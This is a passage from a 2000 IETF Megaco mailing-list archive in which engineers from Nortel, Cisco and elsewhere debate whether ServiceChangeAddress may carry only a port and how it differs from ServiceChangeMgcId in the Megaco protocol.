> > > > > > as x.x.x.x:p?
> > > > > >
> > > > > > Brian
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > > >
> > > > >
> > >
> > > --
> > > Flemming Andreasen
> > > Cisco Systems
> > >
> > >

--
Flemming Andreasen
Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 14:40:57 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11002
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 14:40:56 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB902C1@standards.nortelnetworks.com>; Tue, 5 Sep 2000 14:26:46 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17265 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 14:26:46 -0400
Received: from qhars002.nortel.com (47.101.112.102:54043) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB902C0@standards.nortelnetworks.com>; Tue, 5 Sep 2000
          14:26:45 -0400
Received: from smtprch2.nortel.com (actually erchg0k) by qhars002.nortel.com;
          Tue, 5 Sep 2000 19:39:37 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch2.nortel.com; Tue, 5 Sep 2000 13:34:38 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FC01GH>; Tue, 5 Sep 2000 13:38:19 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C01768.719BFDE0"
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D0A@zcard00g.ca.nortel.com>
Date:         Tue, 5 Sep 2000 13:38:11 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Flemming Andreasen <fandreas@CISCO.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C01768.719BFDE0
Content-Type: text/plain;
        charset="iso-8859-1"

As I noted in one or two previous messages, ServiceChangeMgcId has higher
overhead than ServiceChangeAddress in that it implies a new control session.
That is, the MG has to send a ServiceChange to the new address before it can
send anything else.

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> Sent: Tuesday, September 05, 2000 11:29 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> Let's take a step back here and ask ourselves what we are
> trying to achieve:
>
> 1. We have a need to identify the entity we wish to communicate with
> 2. We have a need to communicate with that entity.
>
> This is a classical naming issue that doesn't need to become overly
> complicated. In order to get from the name in 1 to the
> address (or route) in
> 2, you need to perform name resolution in the cases where the
> name itself is
> not an address. For domain names, this name resolution is
> achieved by DNS,
> for IP-addresses, it should normally be a NOP. By having both
> ServiceChangeMGGId and ServiceChangeAddress, you are
> effectively providing
> an alternate name resolution mechanism which overrides DNS
> and allows one
> IP-address to map to another. We should not be doing that,
> and I also note
> that this was probably not the authors' intent, since
> ServiceChangeAddress
> and ServiceChangeMGCId are not both allowed in a single command.
>
> That still leaves open the question of exactly what
> ServiceChangeAddress
> then is, and I believe Brian answered that earlier with his
> two proposals.
> In a perfect world, I would prefer getting rid of
> ServiceChangeAddress, but
> we may be beyond that. Does it make sense to allow just a
> port number then ?
> Considering that we already allow for port in mId, port is
> part of the name
> and for the same reasons as we shouldn't map one IP-address
> to another, we
> shouldn't map one port to another either IMO. If the MGC (or
> MG) wants the
> other party to talk to it on another port, it simply sends
> back another
> ServiceChangeMGCId with that port number in it.
>
> -- Flemming
>
>
>
> "Rosen, Brian" wrote:
>
> > It depends on what you want to have happen.
> >
> > If you want the MG, on receipt of a reply with a
> ServiceChangeAddress,
> > to tear down it's current transport connection, create a new one,
> > and stand by for messages from the MGC, then I suppose you would be
> > correct.
> >
> > If it was TCP (and I guess SCTP), this is pretty weird, because the
> > MG established a full duplex connection, but the next message is
> > almost certainly from the MGC.  The MGC is going to have to
> watch for
> > this carefully, and not send messages until the new channel is up.
> >
> > Or, the MGC can just use ServiceChangeMid.  The MG will respond by
> > tearing down the transport, establishing a new one, and sending
> > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > ServiceChange, at the "new" address, looks like a complete
> new start.
> >
> > Brian
> >
> > -----Original Message-----
> > From: Christian Groves
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Sent: 9/3/00 7:38 PM
> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> > G'Day Brian and Flemming,
> >
> > I saw that the difference between when you use
> ServiceChangeAddress and
> > ServiceChangeMid was that the ServiceChangeAddress was used
> when talking
> > to an already contacted physical MGC. The ServiceChangeMid
> was used to
> > contact a physically seperate MGC. So I don't see the need of
> > disallowing anything but the port in IP as the MGC may have
> a range of
> > addresses.
> >
> > Cheers, Christian
> >
> > "Rosen, Brian" wrote:
> > >
> > > I thought you might say that, I've been thinking about it
> > > since I sent the message.
> > >
> > > Posing the question slightly differently, if the
> ServiceChangeAddress
> > > can do what ServiceChangeMid can do, so why have two mechanisms?
> > > The only difference would be the MGs actions.  If you used
> > > ServiceChangeAddress,
> > > the MG would not send a new ServiceChange command to the
> new address.
> > > If you used ServiceChangeMid, it would.  The end result
> would be the
> > same.
> > >
> > > We can:
> > >         Explicitly disallow ServiceChangeAddress from
> being used to
> > >                 change anything but IP Port when used with IP
> > >         Get rid of one of the two of them
> > >
> > > I favor the former, as that is easiest, is most consistent with
> > > history, and makes the most sense to me.  I'll note that what
> > > we call ServiceChangeAddress used to be "port".  It got
> > > changed when we realized "port" wouldn't make sense if it was
> > > not an IP transport.
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > To: Rosen, Brian
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > >
> > > >
> > > >
> > > > "Rosen, Brian" wrote:
> > > >
> > > > > I think the issue is that you can have the same MGC
> have multiple
> > > > > IP addresses.  You accept the association, but change
> the address.
> > > > > Say, a pool of servers appearing to be one MGC.
> > > >
> > > > I'm not sure I fully understand what an association is then.
> > > > What's the
> > > > difference/relationship between the association address and the
> > > > ServiceChangeMgcId (which may itself contain an address or
> > indirectly
> > > > refer to a number of addresses through DNS) ?
> > > >
> > > > -- Flemming
> > > >
> > > >
> > > > >
> > > > >
> > > > > Brian
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > To: Rosen, Brian
> > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > > >
> > > > > >
> > > > > >
> > > > > >
> > > > > > "Rosen, Brian" wrote:
> > > > > >
> > > > > > > Suppose all you want to specify in a ServiceChangeAddress
> > > > > > is a port number
> > > > > > > that is, the IP address doesn't change, but the port does.
> > > > > > >
> > > > > > > The ABNF sez:
> > > > > > > serviceChangeAddress = ServiceChangeAddressToken
> EQUAL VALUE
> > > > > > >
> > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > >
> > > > > > > The example shows just a port number.
> > > > > >
> > > > > > Actually, I thought that's all that would be allowed in the
> > > > > > case of IP. If
> > > > > > not, how can it be within the "context of the association
> > > > > > currently being
> > > > > > negotiated", and how would it then relate to
> ServiceChangeMgcId
> > ?
> > > > > >
> > > > > > -- Flemming
> > > > > >
> > > > > > >
> > > > > > >
> > > > > > > Should that be legal?  Should you have to specify the IP
> > address
> > > > > > > as x.x.x.x:p?
> > > > > > >
> > > > > > > Brian
> > > > > >
> > > > > > --
> > > > > > Flemming Andreasen
> > > > > > Cisco Systems
> > > > > >
> > > > > >
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > > >
>
> --
> Flemming Andreasen
> Cisco Systems
>

------_=_NextPart_001_01C01768.719BFDE0
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Supplying only a port on a ServiceChangeAddress</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>As I noted in one or two previous messages, =
ServiceChangeMgcId has higher overhead than ServiceChangeAddress in =
that it implies a new control session.&nbsp; That is, the MG has to =
send a ServiceChange to the new address before it can send anything =
else.</FONT></P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Flemming Andreasen [<A =
HREF=3D"mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</A>]</FONT>=

<BR><FONT SIZE=3D2>&gt; Sent: Tuesday, September 05, 2000 11:29 =
AM</FONT>
<BR><FONT SIZE=3D2>&gt; To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: Supplying only a port on a =
ServiceChangeAddress</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Let's take a step back here and ask ourselves =
what we are </FONT>
<BR><FONT SIZE=3D2>&gt; trying to achieve:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; 1. We have a need to identify the entity we =
wish to communicate with</FONT>
<BR><FONT SIZE=3D2>&gt; 2. We have a need to communicate with that =
entity.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; This is a classical naming issue that doesn't =
need to become overly</FONT>
<BR><FONT SIZE=3D2>&gt; complicated. In order to get from the name in 1 =
to the </FONT>
<BR><FONT SIZE=3D2>&gt; address (or route) in</FONT>
<BR><FONT SIZE=3D2>&gt; 2, you need to perform name resolution in the =
cases where the </FONT>
<BR><FONT SIZE=3D2>&gt; name itself is</FONT>
<BR><FONT SIZE=3D2>&gt; not an address. For domain names, this name =
resolution is </FONT>
<BR><FONT SIZE=3D2>&gt; achieved by DNS,</FONT>
<BR><FONT SIZE=3D2>&gt; for IP-addresses, it should normally be a NOP. =
By having both</FONT>
<BR><FONT SIZE=3D2>&gt; ServiceChangeMGGId and ServiceChangeAddress, =
you are </FONT>
<BR><FONT SIZE=3D2>&gt; effectively providing</FONT>
<BR><FONT SIZE=3D2>&gt; an alternate name resolution mechanism which =
overrides DNS </FONT>
<BR><FONT SIZE=3D2>&gt; and allows one</FONT>
<BR><FONT SIZE=3D2>&gt; IP-address to map to another. We should not be =
doing that, </FONT>
<BR><FONT SIZE=3D2>&gt; and I also note</FONT>
<BR><FONT SIZE=3D2>&gt; that this was probably not the authors' intent, =
since </FONT>
<BR><FONT SIZE=3D2>&gt; ServiceChangeAddress</FONT>
<BR><FONT SIZE=3D2>&gt; and ServiceChangeMGCId are not both allowed in =
a single command.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; That still leaves open the question of exactly =
what </FONT>
<BR><FONT SIZE=3D2>&gt; ServiceChangeAddress</FONT>
<BR><FONT SIZE=3D2>&gt; then is, and I believe Brian answered that =
earlier with his </FONT>
<BR><FONT SIZE=3D2>&gt; two proposals.</FONT>
<BR><FONT SIZE=3D2>&gt; In a perfect world, I would prefer getting rid =
of </FONT>
<BR><FONT SIZE=3D2>&gt; ServiceChangeAddress, but</FONT>
<BR><FONT SIZE=3D2>&gt; we may be beyond that. Does it make sense to =
allow just a </FONT>
<BR><FONT SIZE=3D2>&gt; port number then ?</FONT>
<BR><FONT SIZE=3D2>&gt; Considering that we already allow for port in =
mId, port is </FONT>
<BR><FONT SIZE=3D2>&gt; part of the name</FONT>
<BR><FONT SIZE=3D2>&gt; and for the same reasons as we shouldn't map =
one IP-address </FONT>
<BR><FONT SIZE=3D2>&gt; to another, we</FONT>
<BR><FONT SIZE=3D2>&gt; shouldn't map one port to another either IMO. =
If the MGC (or </FONT>
<BR><FONT SIZE=3D2>&gt; MG) wants the</FONT>
<BR><FONT SIZE=3D2>&gt; other party to talk to it on another port, it =
simply sends </FONT>
<BR><FONT SIZE=3D2>&gt; back another</FONT>
<BR><FONT SIZE=3D2>&gt; ServiceChangeMGCId with that port number in it.<=
/FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; -- Flemming</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &quot;Rosen, Brian&quot; wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; It depends on what you want to have =
happen.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; If you want the MG, on receipt of a reply =
with a </FONT>
<BR><FONT SIZE=3D2>&gt; ServiceChangeAddress,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; to tear down it's current transport =
connection, create a new one,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; and stand by for messages from the MGC, =
then I suppose you would be</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; correct.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; If it was TCP (and I guess SCTP), this is =
pretty weird, because the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; MG established a full duplex connection, =
but the next message is</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; almost certainly from the MGC.&nbsp; The =
MGC is going to have to </FONT>
<BR><FONT SIZE=3D2>&gt; watch for</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; this carefully, and not send messages =
until the new channel is up.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Or, the MGC can just use =
ServiceChangeMid.&nbsp; The MG will respond by</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; tearing down the transport, establishing a =
new one, and sending</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; a new ServiceChange.&nbsp; The MGC =
&quot;fires and forgets&quot; -- the new</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; ServiceChange, at the &quot;new&quot; =
address, looks like a complete </FONT>
<BR><FONT SIZE=3D2>&gt; new start.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Brian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; From: Christian Groves</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; To: =
MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Sent: 9/3/00 7:38 PM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Subject: Re: Supplying only a port on a =
ServiceChangeAddress</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; G'Day Brian and Flemming,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I saw that the difference between when you =
use </FONT>
<BR><FONT SIZE=3D2>&gt; ServiceChangeAddress and</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; ServiceChangeMid was that the =
ServiceChangeAddress was used </FONT>
<BR><FONT SIZE=3D2>&gt; when talking</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; to an already contacted physical MGC. The =
ServiceChangeMid </FONT>
<BR><FONT SIZE=3D2>&gt; was used to</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; contact a physically seperate MGC. So I =
don't see the need of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; disallowing anything but the port in IP as =
the MGC may have </FONT>
<BR><FONT SIZE=3D2>&gt; a range of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; addresses.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Cheers, Christian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &quot;Rosen, Brian&quot; wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; I thought you might say that, I've =
been thinking about it</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; since I sent the message.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Posing the question slightly =
differently, if the </FONT>
<BR><FONT SIZE=3D2>&gt; ServiceChangeAddress</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; can do what ServiceChangeMid can do, =
so why have two mechanisms?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; The only difference would be the MGs =
actions.&nbsp; If you used</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; ServiceChangeAddress,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; the MG would not send a new =
ServiceChange command to the </FONT>
<BR><FONT SIZE=3D2>&gt; new address.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; If you used ServiceChangeMid, it =
would.&nbsp; The end result </FONT>
<BR><FONT SIZE=3D2>&gt; would be the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; same.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; We can:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Explicitly =
disallow ServiceChangeAddress from </FONT>
<BR><FONT SIZE=3D2>&gt; being used to</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp; change anything but IP Port when used with =
IP</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Get rid of one of =
the two of them</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; I favor the former, as that is =
easiest, is most consistent with</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; history, and makes the most sense to =
me.&nbsp; I'll note that what</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; we call ServiceChangeAddress used to =
be &quot;port&quot;.&nbsp; It got</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; changed when we realized =
&quot;port&quot; wouldn't make sense if it was</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; not an IP transport.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Brian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; -----Original =
Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; From: Flemming Andreasen [<A =
HREF=3D"mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>=

<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Sent: Tuesday, August 29, 2000 =
7:37 PM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; To: Rosen, Brian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Cc: =
MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Subject: Re: Supplying only a =
port on a ServiceChangeAddress</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &quot;Rosen, Brian&quot; =
wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; I think the issue is that =
you can have the same MGC </FONT>
<BR><FONT SIZE=3D2>&gt; have multiple</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; IP addresses.&nbsp; You =
accept the association, but change </FONT>
<BR><FONT SIZE=3D2>&gt; the address.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; Say, a pool of servers =
appearing to be one MGC.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; I'm not sure I fully understand =
what an association is then.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; What's the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; difference/relationship between =
the association address and the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; ServiceChangeMgcId (which may =
itself contain an address or</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; indirectly</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; refer to a number of addresses =
through DNS) ?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; -- Flemming</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; Brian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; -----Original =
Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; From: Flemming =
Andreasen [<A =
HREF=3D"mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>=

<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; Sent: Tuesday, August =
29, 2000 6:38 PM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; To: Rosen, =
Brian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; Cc: MEGACO@STANDARDS.NO=
RTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; Subject: Re: Supplying =
only a port on a ServiceChangeAddress</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &quot;Rosen, =
Brian&quot; wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; Suppose all you =
want to specify in a ServiceChangeAddress</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; is a port =
number</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; that is, the IP =
address doesn't change, but the port does.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; The ABNF =
sez:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; =
serviceChangeAddress =3D ServiceChangeAddressToken </FONT>
<BR><FONT SIZE=3D2>&gt; EQUAL VALUE</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; This is because =
it could be IP, ATM, FR, MPLS....</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; The example shows =
just a port number.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; Actually, I thought =
that's all that would be allowed in the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; case of IP. If</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; not, how can it be =
within the &quot;context of the association</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; currently being</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; negotiated&quot;, and =
how would it then relate to </FONT>
<BR><FONT SIZE=3D2>&gt; ServiceChangeMgcId</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; ?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; -- Flemming</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; Should that be =
legal?&nbsp; Should you have to specify the IP</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; address</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; as =
x.x.x.x:p?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; Brian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; Flemming =
Andreasen</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Flemming Andreasen</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Cisco Systems</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; Flemming Andreasen</FONT>
<BR><FONT SIZE=3D2>&gt; Cisco Systems</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C01768.719BFDE0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 14:45:20 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
